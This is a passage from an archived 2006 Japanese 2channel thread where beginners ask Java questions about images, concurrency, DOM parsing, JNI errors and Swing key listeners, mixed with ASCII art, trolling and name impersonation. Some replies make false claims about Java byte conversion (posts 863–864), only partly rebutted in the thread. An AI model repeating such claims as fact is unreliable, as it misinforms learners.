┃ ┃ ┃ ∨ ┃ ┃ ┃
┗━━━━━━━━━┛ ┗━┳━━━┳━┛ ┗━━━━━━━━━┛
┃ ┃
┏━┻━┓ ┃
┃ ┃ ┃
┏━━━┛ ┣━┻━┓
┃ ┃ ┃
┗━━━━━━━┫ ┗━━━┓
┃ ┃
┗━━━━━━━┛
0838デフォルトの名無しさん
2006/10/20(金) 10:39:19だからどうした。
英語使え
0839デフォルトの名無しさん
2006/10/20(金) 16:04:47コンポーネントでないクラスのメソッド内で、Graphicsを引数で受け取り
そのメソッド内で新規に作ったimageクラスにdrawLineなどで図を描いて
Graphicsに貼り付ける。という処理をしたいのですが
コンポーネントのcreateImageからしか作る方法しか解りません。
コンポーネントでないクラスから新しくimageクラスを作成する方法ってありませんか?
0840デフォルトの名無しさん
2006/10/20(金) 16:09:35つ java.awt.image.BufferedImage
つ java.awt.Toolkit#createImage
0841デフォルトの名無しさん
2006/10/20(金) 17:12:37からの移動です。
上記の問題は、J2SDK-1.4.2.12をインストールしたら解決しました。
ただし日本語が文字化けします。この文字化けはJBuilderのインストールにおいても生じます。
JBuilderインストールプログラムの起動時に表示されるメッセージはこんな感じです。
Preparing to install...
Extracting the JRE from the installer archive...
Unpacking the JRE...
Extracting the installation resources from the installer archive...
Configuring the installer for this system's environment...
Launching installer...
Warning: Cannot convert string "-watanabe-mincho-medium-r-normal--*-140-*-*-c-*-jisx0208.1983-0" to type FontStruct
font.properties.ja.Debianをどこぞのサイトからダウンロードしてきて入れてみましたが
症状は変わりませんでした。中身をいじる必要があるのかもしれませんが、ちんぷんかんぷんwww
もしかすると全く的外れな対応をしているかもしれません。その場合は御指摘お願いします。
0842841
2006/10/20(金) 17:15:28迷った挙げ句、とりあえずこちらに書き込ませていただきました。
0843デフォルトの名無しさん
2006/10/20(金) 17:25:08/ ̄ ̄ ̄ ̄\
/ \
/\ \ /|
||||||| (・) (・) |
(6-------◯⌒つ| / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| _||||||||| | < 本スレあげじゃ!
\ / \_/ / \________________
\____/
0844デフォルトの名無しさん
2006/10/20(金) 17:27:420845デフォルトの名無しさん
2006/10/20(金) 17:31:17┃ ┃ ┃ ┃ 、 ┃ ┃ ┃ ┃
┏━┫ ┃ ┃ ┃ 九仕 三火. | -|- ┃ ┃ ┃ ┣━┓
┃ ┃ ┃ ┃ ┃ 木比 口火 l Ο- 、、 ┃ ┃ ┃ ┃ ┃
┃ ┃ ┃ ┃ ┣━┓ ─- ─- 二|二.  ̄フ ┏━┫ ┃ ┃ ┃ ┃
┃ ┃ ┃ ┃ ┃ ┃ ,__. ,__. Ο- <. ┃ ┃ ┃ ┃ ┃ ┃
┃ 、 ┃ ┃ ┏━━━━━━━┓ ┃ ┃ ┃
┃ 九仕 三火 ┃ ┃ ┃ ┃ ┃ ┃l二 |、 | 「ヽ ┃
┃ 木比 口火 ┣━┫ ・ヽ─/ ・ ┣━┫ l_ | `| Lノ ┃
┃ ┃ ┃ ∨ ┃ ┃ ┃
┗━━━━━━━━━┛ ┗━┳━━━┳━┛ ┗━━━━━━━━━┛
┃ ┃
┏━┻━┓ ┃
┃ ┃ ┃
┏━━━┛ ┣━┻━┓
┃ ┃ ┃
┗━━━━━━━┫ ┗━━━┓
┃ ┃
┗━━━━━━━┛
0846ぴゅあ
2006/10/20(金) 17:39:56>あ、もしかするとこの問題は、Linux板のほうに書き込むべきものかもしれません。
そうかも
どんなやり取りしてところなのか、見たことないけど
>Warning: Cannot convert string "-watanabe-mincho-medium-r-normal--*-140-*-*-c-*-jisx0208.1983-0" to type FontStruct
とか、何で見たのか忘れたけどOracle10gとかだったかなぁ?
短い期間しか使わないつもりだったし、英語のままで使ってたけど
Debianは判らないけど、OSとインストールしようとしているものの文字セットが一致してない所為とかなのかなぁ?
(OSはUTF-8で動いてるのにインストールしたバイナリはEUCとか
正確なとこは判らないけど)
たぶんJBuilder(或いはJava関連)固有というものとしてでなく
聞けるんだろうと思うけど
0847デフォルトの名無しさん
2006/10/20(金) 17:55:39それを、updateやpaintに渡さなくても描画されますか?
0848デフォルトの名無しさん
2006/10/20(金) 17:58:36どのようにすればいいのでしょうか?
0849デフォルトの名無しさん
2006/10/20(金) 18:07:15java.util.concurrent パッケージなのですが、
1. java.util.concurrent.FutureTask を拡張したクラスを作成し
2. java.util.concurrent.Executors あたりから取れるスレッドプールに載せる
(例えば ThreadPoolExecutor)
としたとき、
1 で作成した FutureTask 拡張のインスタンスと、
2 1をスレッドプールに載せた際に返してくれる Future 実装のインスタンスが存在します。
後から Future インタフェース(Future#get(), cancel() 等)を呼ぶのは、
どちらでも構わないのでしょうか? 一見、両方処理出来てしまうのですが、
別インスタンスなのでよく分かってないでいます。
submit 時に返してくれるものは、FutureTask 拡張をわざわざ用意しなくても
良いように都合作って返してくれている、と言うイメージなのでしょうか?
(オーバーライドしたい場合や例外処理を変える場合は用意する)
分かりづらいですがソースの例示を次に投稿させて頂きます。
0850849
2006/10/20(金) 18:10:06final ExecutorService executor = Executors.newCachedThreadPool();
//★こうして作るインスタンスと
final FutureData futureData = new FutureData(
new Callable<RealData>() {
public RealData call() {
return new RealData();
}
}
);
//★futureData を渡すと Future インスタンスを返してくれる。
final Future<?> future = executor.submit(futureData);
// この二つで get(), cancel() などを呼ぶべきなのはどちらか?
=Data.java=========================================================
public interface Data {
public String getContent();
}
0851849
2006/10/20(金) 18:11:54import java.util.concurrent.Callable;
import java.util.concurrent.FutureTask;
import java.util.concurrent.ExecutionException;
public class FutureData extends FutureTask<RealData> implements Data {
public FutureData(Callable<RealData> callable) {
super(callable);
}
public String getContent() throws ExecutionException {
String string = null;
try {
string get().getContent();
} catch(InterruptedException e) {
e.printStackTrace();
}
return string;
}
}
=RealData.java=======================================================
public class RealData implements Data {
private final String content;
public RealData() {
this.content = "hogehoge";
}
public String getContent() {
return content;
}
}
0852デフォルトの名無しさん
2006/10/20(金) 18:35:020853デフォルトの名無しさん
2006/10/20(金) 19:20:52????????????????
0854デフォルトの名無しさん
2006/10/20(金) 19:23:35いや、Component#update(Graphics) とか
Component#paint(Graphics) はユーザが呼ぶもんじゃないし。
0855デフォルトの名無しさん
2006/10/20(金) 19:43:28自作したはいいけど、どうやって描画するんですか?
0856デフォルトの名無しさん
2006/10/20(金) 19:53:390857デフォルトの名無しさん
2006/10/20(金) 19:58:27以下のようなソースだと、あらかじめパレットを用意しておく必要がでてきてしまいます。
パレットを自動的に最適化してくれるような方法はないでしょうか?
//パレット
byte[] rs = {-1, 127, 0, 0};
byte[] gs = {-1, 0, 127, 0};
byte[] bs = {-1, 0, 0, 127};
IndexColorModel colormodel = new IndexColorModel(2, 4, rs, gs, bs);
//一時的に使うイメージ
BufferedImage tmpimg = new BufferedImage(
orgimg.getWidth(), orgimg.getHeight(), BufferedImage.TYPE_BYTE_BINARY, colormodel);
//変換
ColorConvertOp colconvop = new ColorConvertOp(null);
colconvop.filter(orgimg, tmpimg);
また、パレットを作成するときにbyte配列を取りますが、
Javaではbyteは-128から127なので、128以上は表現上マイナスになってしまいます。
これは仕様なのでしょうか?
0858デフォルトの名無しさん
2006/10/20(金) 20:02:53ブラウザで参照とは具体的にどうすればnいいのでしょうか
ちなみに+Lhacaで解凍
j2sdk-1_4_0-doc-jaはフォルダが出てきてどうしようもないです
OSはWINDOWS98です
0859デフォルトの名無しさん
2006/10/20(金) 20:37:57Javadocのドキュメントはインストールするものではない。
解凍してindex.htmlをブラウザで閲覧するものだ。
0860デフォルトの名無しさん
2006/10/20(金) 20:41:19Linux版JBuilderなんてあるんだ。
あれ?そっちはEclipseスレだよな。
Eclipse使ってさらにJBuilderも使うのか
JBuilderにお金つぎ込んでしまったから勿体ないから
使ってるってやつか?
0861デフォルトの名無しさん
2006/10/20(金) 20:43:32Java 入門 | Java Applet | 画像
http://www.nextindex.net/java/applet/image.html
0862デフォルトの名無しさん
2006/10/20(金) 20:46:55> ColorConvertOpを使ってフルカラーをインデックスカラーに変換したいのですが、
> 以下のようなソースだと、あらかじめパレットを用意しておく必要がでてきてしまいます。
> パレットを自動的に最適化してくれるような方法はないでしょうか?
staticイニシャライザであらかじめ用意しておくとダメなんだ
> Javaではbyteは-128から127なので、128以上は表現上マイナスになってしまいます。
> これは仕様なのでしょうか?
-128から127までの数字を使って256パターンを表現することに問題アル?
0863デフォルトの名無しさん
2006/10/20(金) 20:53:54byte型に数値を代入するときは
byte x = 255;
と書くと内部では自動的に127になる
x = 256;
にすればカウンタがリセットされ
-128になる。
0864デフォルトの名無しさん
2006/10/20(金) 20:55:41byte型をint型に代入すると自動的にbyte型に型変換される
0865デフォルトの名無しさん
2006/10/20(金) 20:56:220866デフォルトの名無しさん
2006/10/20(金) 20:59:270867デフォルトの名無しさん
2006/10/20(金) 21:00:29>>864
嘘を書くな、嘘を。
0868デフォルトの名無しさん
2006/10/20(金) 21:16:29士ね!
0869デフォルトの名無しさん
2006/10/20(金) 21:51:300870デフォルトの名無しさん
2006/10/21(土) 00:06:480871デフォルトの名無しさん
2006/10/21(土) 00:08:370872デフォルトの名無しさん
2006/10/21(土) 00:16:49import com.deitel.jhtp.ch11.CloseWindowAndExit;
ってimport文があったんですが、comフォルダーはどこに配置すれば
いいんでしょうか?ちなみにEclipse使ってます。
0873デフォルトの名無しさん
2006/10/21(土) 00:19:26用意して無いならプロジェクト直下。
0874デフォルトの名無しさん
2006/10/21(土) 00:44:14掲示板がケツをもつからいつまでたってもケアレスミスがなくならない
0875872
2006/10/21(土) 01:19:08|
--<com>---<deitel>---<jhtp>---<ch11>---CloseWindowAndExit.class
上記のように配置してみたのですが、src1.javaのimportでフォルダは認識されてるんですが、
クラスファイルが認識されないようです・・・
CloseWindowAndExitはjavaのソースファイルじゃないと駄目なんですかね
>>出版社に聞けよ
なんか英語版を翻訳した本みたいなんで・・・英語はきついっす
0876872
2006/10/21(土) 01:25:27|
--<com>---<deitel>---<jhtp>---<ch11>---CloseWindowAndExit.class
ずれてたorz
今度は大丈夫かな、comフォルダもプロジェクトの下に入ってます
0877デフォルトの名無しさん
2006/10/21(土) 02:04:22基本情報の午後問題ぜんぜん解けなかった。
どうしたらJAVAできるようになるんでしょ
0878デフォルトの名無しさん
2006/10/21(土) 02:39:00原書の第二版(http://www.deitel.com/books/downloads.html#jHTP2)から
サンプルコード落としてきたが、かなり年代モノのコードだな、これは。
なんでこの本にしたのかは不明だけど
Eclipse にも Java にも慣れてないようだし、
他の本から始めたほうが良いと思う。
(Eclipse で Swing アプリ作る、とかそんなテーマの本が良い。多分。)
0879872
2006/10/21(土) 02:55:28ちなみに、プロジェクトプロパティ→Javaのビルド・パス→ライブラリ→
外部Jarの追加→importするフォルダのアーカイブ
でできました、みなさんご迷惑おかけしました・・・
>>877
俺も基本情報受けてjava選択したよ、効率的なJavaの勉強方法ってどうすればいいのか
俺も知りたいわ・・・読むだけならできるけど、1から作るとなると
きついんだよな・・・
0880デフォルトの名無しさん
2006/10/21(土) 02:58:110881デフォルトの名無しさん
2006/10/21(土) 03:14:42おすすめの参考書があればアドバイスいただけませんか。
C++やオブジェクト指向に関してのある程度の知識は持っています。
0882デフォルトの名無しさん
2006/10/21(土) 03:36:06書いてあったよ
0883デフォルトの名無しさん
2006/10/21(土) 03:41:110884デフォルトの名無しさん
2006/10/21(土) 06:02:13すみません、プログラム技術板内にあるスレッドでしょうかorz
0885デフォルトの名無しさん
2006/10/21(土) 10:03:02理解できる。CASL→C→MFC→javaが一番いい流れらしいよ。
0886デフォルトの名無しさん
2006/10/21(土) 10:12:100887デフォルトの名無しさん
2006/10/21(土) 10:12:21○
大 --> ●
A B
"-->" points B by A.
だけなのでは?
0888デフォルトの名無しさん
2006/10/21(土) 11:21:440889デフォルトの名無しさん
2006/10/21(土) 11:25:41よろしくお願いします。
インスタンス自身から己のクラス名を取得することはできますか?
ただし、パッケージは含めないでです。
つまり、 this.getClass().getName(); だけでは不十分です。
やはり、上記の方法で取得した文字列から、ループや正規表現等を用いて、
クラス名称のみを取得する他にないのでしょうか。
識者の方、効率の良い手法がございましたらよろしくお願いいたします。
0890デフォルトの名無しさん
2006/10/21(土) 11:53:19しかし>>889の目的が不明ですな
0891デフォルトの名無しさん
2006/10/21(土) 12:05:25用途は・・・ナイショです(^^ゝ
0892デフォルトの名無しさん
2006/10/21(土) 12:18:150893ぴゅあ
2006/10/21(土) 12:28:300894デフォルトの名無しさん
2006/10/21(土) 12:39:52String className = this.getClass().getName();
Pattern p = Pattern.compile("^.*((\\.)(.+))$");
Matcher m = p.matcher(className);
if (m.matches()) {
className = m.group(3);;
}
Patternが不恰好なので適当に隠蔽します。 ありがとうございました。
0895デフォルトの名無しさん
2006/10/21(土) 12:42:100896デフォルトの名無しさん
2006/10/21(土) 12:45:240897デフォルトの名無しさん
2006/10/21(土) 12:46:330898デフォルトの名無しさん
2006/10/21(土) 12:55:19教えろよ
0899デフォルトの名無しさん
2006/10/21(土) 13:04:17>>895に書いてあることを中でしてるだけだ。
String simpleName = obj.getName();
simpleName.substring(simpleName.lastIndexOf(".")+1);
0900デフォルトの名無しさん
2006/10/21(土) 13:20:450901デフォルトの名無しさん
2006/10/21(土) 13:24:46┃ ┃ ┃ ┃ 、 ┃ ┃ ┃ ┃
┏━┫ ┃ ┃ ┃ 九仕 三火. | -|- ┃ ┃ ┃ ┣━┓
┃ ┃ ┃ ┃ ┃ 木比 口火 l Ο- 、、 ┃ ┃ ┃ ┃ ┃
┃ ┃ ┃ ┃ ┣━┓ ─- ─- 二|二.  ̄フ ┏━┫ ┃ ┃ ┃ ┃
┃ ┃ ┃ ┃ ┃ ┃ ,__. ,__. Ο- <. ┃ ┃ ┃ ┃ ┃ ┃
┃ 、 ┃ ┃ ┏━━━━━━━┓ ┃ ┃ ┃
┃ 九仕 三火 ┃ ┃ ┃ ┃ ┃ ┃l二 |、 | 「ヽ ┃
┃ 木比 口火 ┣━┫ ・ヽ─/ ・ ┣━┫ l_ | `| Lノ ┃
┃ ┃ ┃ ∨ ┃ ┃ ┃
┗━━━━━━━━━┛ ┗━┳━━━┳━┛ ┗━━━━━━━━━┛
┃ ┃
┏━┻━┓ ┃
┃ ┃ ┃
┏━━━┛ ┣━┻━┓
┃ ┃ ┃
┗━━━━━━━┫ ┗━━━┓
┃ ┃
┗━━━━━━━┛
0903デフォルトの名無しさん
2006/10/21(土) 15:29:56なんか、そうみたいですね・・・。
>>lastIndexOf
いわれてみれば・・・ orz
0904デフォルトの名無しさん
2006/10/21(土) 15:49:47気にするならトリつけろ
0905デフォルトの名無しさん
2006/10/21(土) 15:53:540906デフォルトの名無しさん
2006/10/21(土) 15:59:22"OS"って名前のソフトなら作れるよ。
そうでないなら 「OS」の定義や、「作ることができる」の定義次第だね。
Java で OS を作っているプロジェクトはある。
0907ぴゅあ
2006/10/21(土) 16:03:34以前>>889と全く同じ質問があって
>>890は無理(最初から用意されているものはなさそう),
>>895(lastIndexOf)ということで落ち着いてたのを見たけど
>>897,>>899(5.0)というのは見つけられてないなぁ
>>905
OS板?に行けば話題ある筈よ
OSの定義が訳解らんことになってるかもだけど
0908デフォルトの名無しさん
2006/10/21(土) 16:17:57行ったところ、JDK1.4.2では動作するのですが、同じものでJDK1.5でテストを行うと
以下のエラーが発生してしまいます。
Exception in thread "main" java.lang.UnsatisfiedLinkError: test_checkNative
at jp.ne.test.core.dao.impl.CheckDAO.test_checkNative(Native Method)
at jp.ne.test.core.dao.impl.CheckDAO.test_check(CheckDAO.java:62)
at TestJniApp.run(TestJniApp.java:26)
at TestJniApp.main(TestJniApp.java:13)
原因がJDKのバージョンかはまだ不明ですが、バージョンによって動作しないものも
ありえるのでしょうか?
また、このような場合の対策はありますでしょうか?
0909ぴゅあ ◆e5YC3.bC0A
2006/10/21(土) 16:20:040911デフォルトの名無しさん
2006/10/21(土) 16:42:400912ぴゅあ
2006/10/21(土) 16:58:070913ぴゅあ ◆pfdEDCyi22
2006/10/21(土) 17:00:57私はこれからこのトリップをつけますので。
0914ぴゅあ
2006/10/21(土) 17:02:52やったことはないけど、
たぶんJavaのソース側を変えただけ(5.0でコンパイル)なんでしょ?
>原因がJDKのバージョンかはまだ不明ですが
それを確認してみればいいのだろうけど
試しにでもネイティブコード側もコンパイルし直してみるとか
Java側を1.4準拠にしてみるとか
>バージョンによって動作しないものも
>ありえるのでしょうか?
ドキュメントには
# JNI を使用することによるデメリットは、コードの移植性が損なわれることですが
とあるけど、(それは主にWin,UNIX等のプラットホーム間を意図させるものかもだけど)
ネイティブコードを扱うといったところで
Javaプラットホーム上でのバージョンも関わってくる部分がありうることは考えられるのかも
先にUnsatisfiedLinkErrorでググッてみるのがいいのかもですね
0915デフォルトの名無しさん
2006/10/21(土) 17:03:420916 ◆zG6ZHM11mE
2006/10/21(土) 17:11:46<root>
<hoge id="">
<c>
<c1>test</c1>
<c2>test</c2>
</c>
</hoge>
<hoge id="">
</hoge>
</root>
上記について、c1、というタグの名前をdomで取得したいのですが、
どうしても「#text」という値で取れてしまいます。
c1,c2,と、こちらでタグ名を指定せずに取得するにはどうすればよいでしょう・・?
NodeList list = root.getElementsByTagName("hoge");
for (int i=0; i < list.getLength() ; i++) {
Element element = (Element)list.item(i);
NodeList cmdList = element.getElementsByTagName("c");
for(int j = 0; cmdList.getLength() > j; j++ ){
Node cmdElement = (Element)cmdList.item(j);
String cmd = cmdElement.getFirstChild().getNodeName();
while ( true ){
System.out.println(cmd);
cmdElement = cmdElement.getNextSibling();
if( cmdElement == null ){
break;
}
cmd = cmdElement.getNodeName();
}
}
0917デフォルトの名無しさん
2006/10/21(土) 17:13:07つ java.lang.Class#getSimpleName()
>>899 のやつと比べると配列やネストクラスや匿名クラスの扱いが違う。
ってか、java.lang.Class#getName() で返ってくるのはバイナリ名だから加工しにくいんだよ。
0918ぴゅあ ◆.cOjTjK0LY
2006/10/21(土) 17:13:580921ぴゅあ ◆qgqXZWB30M
2006/10/21(土) 17:35:530922ぴゅあ
2006/10/21(土) 17:42:51>加工しにくいんだよ。
そうなの?
扱う対象が何かによってはありそうかもだけど・・・
>バイナリ名
?
0923デフォルトの名無しさん
2006/10/21(土) 17:54:26Hoge.classのようにしてアクセスができるのですが、これってJLSのどこに記述されていますか?
手元にあるのはピアソンのJava言語仕様 第2版なのですが、どうしてもこれに関する記述を見つけることができません。
このフィールドを使うたび、言語仕様で規定されていない要素を使用しているようで、
非常に気持ち悪い感覚を覚えます。
0924ぴゅあ
2006/10/21(土) 17:54:290925デフォルトの名無しさん
2006/10/21(土) 18:04:3115.8.2 クラスリテラル
http://www.y-adagio.com/public/standards/tr_javalang2/expressions.doc.html#251530
翻訳してる人が別だから、訳語とか違うのは知ってるけど、
たぶん章立ては同じだと思うから 15.8.1 見りゃのってると思うぞ。
まわりくどいこと書いてすいません。
やりたいことは、>916の下から3行目と、下から10行目で、
<c>タグの「c」を取りたいのです。
いまだと、「#text」がとれてしまいす。
>918のおっしゃったとおり
getNodeValue()にすると、今度は空白が取れてしまいます。
0927ぴゅあ
2006/10/21(土) 18:26:36自分が質問に回答できるだけの実力がないくせに、人がスパスパ
回答できてるからってひがむんじゃねーよ!!
お前らみたいな騙りする糞連中には糞言語のPerlがお似合いだっつーの!!
さっさとJavaスレから出ていきやがれ!!
0929ぴゅあ
2006/10/21(土) 18:40:100930デフォルトの名無しさん
2006/10/21(土) 18:41:13very THX!
第8章「クラス」ばっかり探してました。
どうやら根本的に違うところをみてたようです。
限定的なthisとか、これまで自分の中で曖昧だった箇所も同じ15章にあったりするし、
これを機に15章をもう一度じっくり読んでみようとおもいます。
なんにせよ、どうもありがとうございます。
0931デフォルトの名無しさん
2006/10/21(土) 19:29:28ないとは思うけど、1.4.2 と 1.5.0 で環境をスイッチする時、
変更したPATHの中に、作成した DLL をうっかり置き忘れてるとか。
0932デフォルトの名無しさん
2006/10/21(土) 19:43:37ぴゅあさんがいなくなったらこのスレ終わりです。。
怒らないで下さい。。
0934デフォルトの名無しさん
2006/10/21(土) 20:03:580935デフォルトの名無しさん
2006/10/21(土) 20:10:400936ぴゅあ
2006/10/21(土) 20:10:410939デフォルトの名無しさん
2006/10/21(土) 20:33:250940ぴゅあ ◆qgqXZWB30M
2006/10/21(土) 20:54:32cmdList.item(j).getNameでc1とc2が取れるでしょ
>>926でc取りたいって書いてるよ。
0941デフォルトの名無しさん
2006/10/21(土) 20:56:11使うところもあるよ。
フローチャート書きますか?
http://pc8.2ch.net/test/read.cgi/tech/1103704852/
0942デフォルトの名無しさん
2006/10/21(土) 21:03:19ごめんなさい。>916が正しくて、c1,c2をとりたいです。
getNodeNameやると、#textがとれてしまうのです。。
0944ぴゅあ ◆qgqXZWB30M
2006/10/21(土) 21:17:28while ( true ){
System.out.println(cmd);
cmdElement = cmdElement.getNextSibling();
この辺削って
NodeList cmdList = element.getElementsByTagName("c");
for(int j = 0; cmdList.getLength() > j; j++ ){
のgetName
getNodeNameはありますが、getNameはないようです。
そこでgetNodeNameやると、cがとれます。
0946ぴゅあ ◆qgqXZWB30M
2006/10/21(土) 21:37:25NodeList cmdList = element.getElementsByTagName("c");
for(int j = 0; cmdList.getLength() > j; j++ ){
cmdList.item(i).getChildNodes().item(k) のgetName
0947ぴゅあ
2006/10/21(土) 21:39:280948927ぴゅあ
2006/10/21(土) 21:39:54てめーら騙されてやんのwwwww
0950ぴゅあ ◆qgqXZWB30M
2006/10/21(土) 21:54:17はい。#textだけです。
ループで要素分まわしてるのですが、
#text, 改行, タブいくつか、、がとれてます。
0952ぴゅあ ◆qgqXZWB30M
2006/10/21(土) 22:18:30for(int j = 0; cmdList.getLength() > j; j++ ){
NodeList aaa = cmdList.item(j).getChildNodes();
for(int k = 0; aaa.getLength() > k; k++ ){
System.out.println(aaa.item(k).getNodeName());
}
}
0954デフォルトの名無しさん
2006/10/21(土) 22:30:330955ぴゅあ ◆qgqXZWB30M
2006/10/21(土) 22:33:27無効にするのは
この辺に書いてある
http://www13.plala.or.jp/observe/JFace/jfaceViewer2.html
0957ぴゅあ
2006/10/21(土) 23:04:440958デフォルトの名無しさん
2006/10/21(土) 23:30:28IBMのサイトをみても、Windows版がありません。
開発キットをダウンロードしても、すでに5.0だし。。。
0959ぴゅあ
2006/10/21(土) 23:37:01JREなら見つかるけど、JDKじゃないとダメですか?
http://www-307.ibm.com/pc/support/site.wss/document.do?sitestyle=lenovo&lndocid=MIGR-56888
0960デフォルトの名無しさん
2006/10/21(土) 23:39:540961デフォルトの名無しさん
2006/10/21(土) 23:40:01それはIBMの製品以外にはインストールできないようになっている。
0964デフォルトの名無しさん
2006/10/21(土) 23:50:35IEのスクリプトエラーが出ます。
内容は「オブジェクトでサポートされてないプロパティまたはメソッドです」です。
何がいけないんでしょうか
0965デフォルトの名無しさん
2006/10/21(土) 23:55:36たぶんオブジェクトでサポートされてないプロパティまたはメソッドなんでしょう。
そしてスレ違いです。
0966デフォルトの名無しさん
2006/10/22(日) 00:00:19RADやRWDの体験版に一揃い入ってる。
0968ぴゅあ
2006/10/22(日) 00:03:20迷惑なんだけど……
0969964
2006/10/22(日) 00:08:130970デフォルトの名無しさん
2006/10/22(日) 00:15:110971ぴゅあ
2006/10/22(日) 00:20:360972デフォルトの名無しさん
2006/10/22(日) 00:22:580973デフォルトの名無しさん
2006/10/22(日) 00:31:44これからも同じ名前で頑張ってください。
0974.ぴゅあ
2006/10/22(日) 00:41:540975デフォルトの名無しさん
2006/10/22(日) 00:43:090976デフォルトの名無しさん
2006/10/22(日) 00:44:41import java.awt.*;
import java.awt.event.*;
import javax.swing.*;
public class Typing extends JFrame implements KeyListener {
public static void main(String[] args) {
JFrame frame = new Typing("タイピングテスト");
frame.setBounds(0, 0, 640, 480);
frame.setVisible(true);
frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
}
private JLabel label;
private Random random;
private String[] words = {
"have","do","be","make","can","will","think","see","want",
"get","break","sing","swim","love","what","who","when","whete",
"why","how","go","come","know","word"
};
public Typing(String title){
super(title);
}
0977976
2006/10/22(日) 00:46:58random = new Random(System.currentTimeMillis());
label = new JLabel(words[random.nextInt(words.length)]);
label.setFont(new Font(null, Font.PLAIN, 30));
label.setHorizontalAlignment(JLabel.CENTER);
label.setVerticalAlignment(JLabel.CENTER);
this.getContentPane().add(label);
addKeyListener(this);
}
public void KeyPressed(KeyEvent e){}
public void KeyReleased(KeyEvent e){}
public void KeyTyped(KeyEvent e){
String text = label.getText();
if (text.charAt(0) == e.getKeyChar()){
if(text.length()>1){
label.setText(text.substring(1));
}
else label.setText(words[random.nextInt(words.length)]);
}
repaint();
}
↑キーのメソッドが何とかって言われて実行できないので教えてください
0978デフォルトの名無しさん
2006/10/22(日) 00:49:42てめぇ、質問者の努力くらいは全うしやがれっ
0979ぴゅあ
2006/10/22(日) 00:58:000980デフォルトの名無しさん
2006/10/22(日) 01:00:56> 実行できないので教えてください
実行しなきゃいいんじゃない?
別に実行しなくても死なないんでしょ?
0981デフォルトの名無しさん
2006/10/22(日) 01:11:02> public void KeyPressed(KeyEvent e){}
> public void KeyReleased(KeyEvent e){}
> public void KeyTyped(KeyEvent e)
public void keyPressed(KeyEvent e){}
public void keyReleased(KeyEvent e){}
public void keyTyped(KeyEvent e)
なんでは?
0982デフォルトの名無しさん
2006/10/22(日) 01:14:410983976
2006/10/22(日) 01:15:20答えられないのに叩く人がいますが親切にどうもです!
0984デフォルトの名無しさん
2006/10/22(日) 01:20:51そういう態度は良くない。
今度来る時はエラー出た時のコメントを
勝手に省略せずに書くこと。
その方が解決がずっと早い。
自分にもスレにも優しい。
0986ぴゅあ
2006/10/22(日) 01:33:440987ぴゅあ
2006/10/22(日) 01:35:280988976
2006/10/22(日) 01:36:06そいつは失礼しました。今後気よつけるからちゃんとした回答
してください。
0990ぴゅあ
2006/10/22(日) 01:56:45恐らく全てのコードを示しているのではないと思いますけど
>実行できない
実行の前のコンパイル段階でエラーが出ているということですよね?
>>984の言われているように
>キーのメソッドが何とか
というところを正確に欲しいですね
(エラーメッセージが出力されているのだと思う)
>>981の言われていることも合っている筈です
(示さなかった他の部分にそれらのメソッドを書いてあるとかなければ)
0991ぴゅあ
2006/10/22(日) 02:08:33いいかげんにしてください
0992ぴゅあ
2006/10/22(日) 02:09:42そこまでしてもらわなくてもいいですよ
0994デフォルトの名無しさん
2006/10/22(日) 04:15:340995デフォルトの名無しさん
2006/10/22(日) 09:08:53わちきが困ってもだれもたすけてくれない。
今回の件は本当にがっかりです……
0996デフォルトの名無しさん
2006/10/22(日) 09:45:32ウザイ
0997デフォルトの名無しさん
2006/10/22(日) 10:13:17うむ。結局困るのは俺たちだからな。
0998デフォルトの名無しさん
2006/10/22(日) 10:22:130999デフォルトの名無しさん
2006/10/22(日) 10:35:481000デフォルトの名無しさん
2006/10/22(日) 10:38:0110011001
Over 1000Threadもう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。